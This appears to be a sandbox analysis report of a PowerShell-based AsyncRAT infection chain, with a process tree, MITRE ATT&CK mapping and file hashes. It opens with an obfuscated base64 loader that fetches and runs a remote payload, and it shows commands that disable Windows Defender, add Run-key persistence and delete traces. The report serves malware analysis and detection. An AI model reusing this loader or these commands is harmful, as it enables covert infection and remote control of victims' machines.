'udHJvbCwgJ25vLWNhY2hlJykgOyRkdHRoZC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRkdHRoZC5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskZHR' + '0' + 'aGQuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kZFdXQ' + '0' + '4gKS' + 'A' + '7JFN6S3dWID' + '0' + 'gJGR' + '0' + 'dGhkLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + 'A' + 'pIDska3NsdnQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDska3NsdnQgPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgka3NsdnQsJ1wleCUrJykpWzFdKS5UcmltKCkgOyRrc2x2dCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7OyRiZnJ5bi' + 'A' + 'rPS' + 'A' + 'nJFJCQmZaID' + '0' + 'gKCcnaCB' + '0' + 'IHRwcy' + 'A' + '6IC8gLycnLlJlcGxhY2UoJycgJycsICcnJycpICsgJydhbmRy' + 'ZW' + 'ZlbGlw' + 'ZW' + 'RvbmFzY2ltZTE3ODM4Njk1OTQ5NzguMj' + 'A' + 'yMDMxMi5tZXVzaXRlaG' + ' + 9 + ' + 'zdGdhdG' + ' + 9 + ' + 'yLmNvbS5ici8nJy' + 'A' + 'rICcnZERZcFRfMTdfMDdfTWV1c1' + ' + 9 + ' + 'hcnF1aXZvc1' + ' + 9 + ' + 'EZV' + ' + 9 + ' + 'UZXh' + '0' + 'by8nJy' + 'A' + 'rICcnUGVObycnKS' + 'A' + '7Jy' + 'A' + '7JGJmcnluICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + 'A' + 'nJyViYXNlNjQlZEhoMExtRXZiVzlqTG7nt5IwYVhKaGFHTmhibUZvWTJGbkx5ODZjM' + '0' + 'IwZEdnPScnIDskemdIb1cgPS' + 'A' + 'oJHpnSG' + ' + 9 + ' + 'XIC1yZXBsYWNlICcn57eSJycgLC' + 'A' + 'nJ2wnJykgOzskY1RGek4gPS' + 'A' + 'oICcnQzpcVXNlcnNcUHViJycgKy' + 'A' + 'nJ2xpY1wnJy' + 'A' + 'rICcncnd6dGsudHh' + '0' + 'JycpIDskdmRmencgPS' + 'A' + 'oR2V' + '0' + 'LUNvbnRlbnQgLVBhdGggJGNURnpOIC1FbmNvZGluZyBVVEY4KTsnIDskYmZyeW4gKz' + '0' + 'gJyR2ZGZ6dy' + 'A' + 'tcmVwbGFjZS' + 'A' + 'nJy' + 'A' + 'nJywgJycnJy' + 'A' + '7Jy' + 'A' + '7JGJmcnluICs' + ' + 9 + ' + 'ICdbYnl' + '0' + 'ZVtdXSRyamxqeC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'sbGVjdGlvbnMuR2VuZXJpYy5MaXN' + '0' + 'W' + '0' + 'J5dGVdXTo6bmV3KCk7Jy' + 'A' + '7JGJmcnluICs' + ' + 9 + ' + 'ICckcmpsanggPS' + 'A' + 'oJHZkZnp3IC' + 'A' + 'tc3BsaXQgJycsJycgfCBGb3JFYWNoLU' + ' + 9 + ' + 'iamVjdCB7IFtieXRlXSgkXy5UcmltKCkpIH' + '0' + 'pIDsnOyRiZnJ5bi' + 'A' + 'rPS' + 'A' + 'nJHdtSHhHID' + '0' + 'gW1N5c3RlbS4nICsgJHhVdEdBICsgJy4nICsgJEhJd1laICsgJ1' + '0' + '6OicgKy' + 'A' + 'kU' + '0' + 'Rkd3cgKy' + 'A' + 'nKC' + 'A' + 'kcmpsanggKTsnIDskYmZyeW4gKz' + '0' + 'gJyRqdFZsYi' + 'A' + '' + ' + 9 + ' + 'ICR3bUh4Ry5HZXRUeXBlKC' + 'A' + 'nJ' + '0' + 'NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKTsnIDskYmZyeW4gKz' + '0' + 'gJyRDU1l' + '0' + 'VS' + 'A' + '' + ' + 9 + ' + 'ICRqdFZsYi5HZXRNZXRob2QoICcncHJGVkknJy' + 'A' + 'pLicgKy' + 'A' + 'kc1lLVVIgKy' + 'A' + 'nKC' + 'A' + 'kc3RXaWwgLCBbb2Jq' + 'ZW' + 'N' + '0' + 'W11dICggJHpnSG' + ' + 9 + ' + 'XICwgJycldlZsR3olJycgLC' + 'A' + 'nJ' + '0' + 'QgRERDOlxXaW5kb3dzXE1pY3Jvc2' + ' + 9 + ' + 'mdC5ORVRcRnJhbScgKy' + 'A' + 'nZXdvcmtcdjQuMC4zMDMxOVxpbnN' + '0' + 'YWxsdXRpbCcnLC' + 'A' + 'nJyR' + '0' + 'cnVlJycsICRSQkJmWi' + 'A' + 'pICk7Jy' + 'A' + '7JHVqb25YID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'nd2dicXZfMDEucHMxJy' + 'A' + 'pIDskYmZyeW4gfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJHVqb25YIC1mb3JjZS' + 'A' + '7U3RhcnQtU2xlZX' + 'A' + 'gLXMgNTs7cG' + ' + 9 + ' + '3ZXJzaGVsbC' + 'A' + 'tRXhlY3V' + '0' + 'aW' + ' + 9 + ' + 'uUG' + ' + 9 + ' + 'saWN5IGJ5cGFzcy' + 'A' + 'tRmlsZS' + 'A' + 'kdWpvblggOw==' ;;$LTLIP ;;$WsBve = ($Ugkqg + $LTLIP) ;;$jspvs = $WsBve ;$jspvs = $jspvs.replace('''',$lVEXS) ;$jspvs = $jspvs.replace('+ ',$lVEXS) ;$jspvs = $jspvs.replace(' ',$lVEXS) ;Function vNiye{;$UekUx = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $jspvs ));return $UekUx;};$fEpcC = vNiye; $fEpcC = ($fEpcC -replace '%vVlGz%','C:\Users\Public\stchh的这五js') ;$MRinF = 'C:\Users\Public\lnhmb.p' + 's1' ; $fEpcC | Out-File -FilePath $MRinF -force ; powershell -ExecutionPolicy Bypass -file $MRinF ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\lnhmb.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3852
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /release
        5⤵
        Gathers network information
        
        PID:6012
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /renew
        5⤵
        Gathers network information
        
        PID:2744
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4700
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" int ip reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5936
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\wgbqv_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4212
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\a005210080011-210510.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1316
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5048
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607621.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6068
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:908
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5992
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3392
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79c2.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4176
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4340
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79e9.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1196
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3436
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79c2.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2664
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1992
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79e9.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4264
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1084
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lnhmb.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1984
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3864
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\rwztk.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2936
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5880
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\stchh.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4496
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1580
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vmycc.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2304
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4756
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wgbqv_01.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3716
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\gsciw_01.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3596
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:924
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vnvgn.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:1284
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
        System Location Discovery: System Language Discovery
        
        PID:4616
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uuqne_Pesis_.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4272
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1212
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4228
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3472
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5784
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3796
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4444
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4996
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4184
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:2636
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4604
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4608
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:248
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:5852
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:3292
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\oopni_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2780
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\stchh.js"
        6⤵
        
        PID:2884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 24KB
SHA256 7210aa75cdd0f73319cdf7809837bde162b541f289f6a49f8a2cfdceee2d714d
MD5 42991265168fa1fb026417a571002fe4
SHA1 3245e9946db50c20f40a53beb312f983ace1bf55
SHA512 4a14525dab4fb3a8263aa7ea06db66ccaec065257be36c14fcec5fb44774c3467dce6c90b9d11922197fa3e7babda5aaed96f509d3c9411aa7aed9555061e8fb
SSDEEP 384:NXX35VUKLgdQu2Tu/qiUtib4JRwYo2ThOp2Ooah4flkipVOoP:NH3YKLgdQ3yiiU5mYo2hOp2vpfKQVOoP
TLSH
T140B25483A9204D31D2A65F3DF14625667C303A8B91F8053261DD2ADFA9878970B1F6FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 d35d551e87bb7d975f2095b74c369d7ac995ac09ae37cf89548041efab531471
MD5 c613c5036e30e5afe7bd2960cb0be477
SHA1 0305e8a20470e0e803382ca9ccd6dd19244684a8
SHA512 042a3258a77f29e860a5f66fb8246ef52973379f9a181c9a227d1ea34b805ce21af3352b714099a23c6792ce0c262938ebca21c9ed96b3803829c48c1c54635f
SSDEEP 1536:RzQmcGCw2haovffKQNEYxflJdpXYeinHzwrJ40i7gigMkdGWMrxm0ibjoRjdvRQQ:RzQmcGCw2haovffKQNEYxflJdlYvnHzF
TLSH
T16C636292E9204E75E1A66F3EF15622627D30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download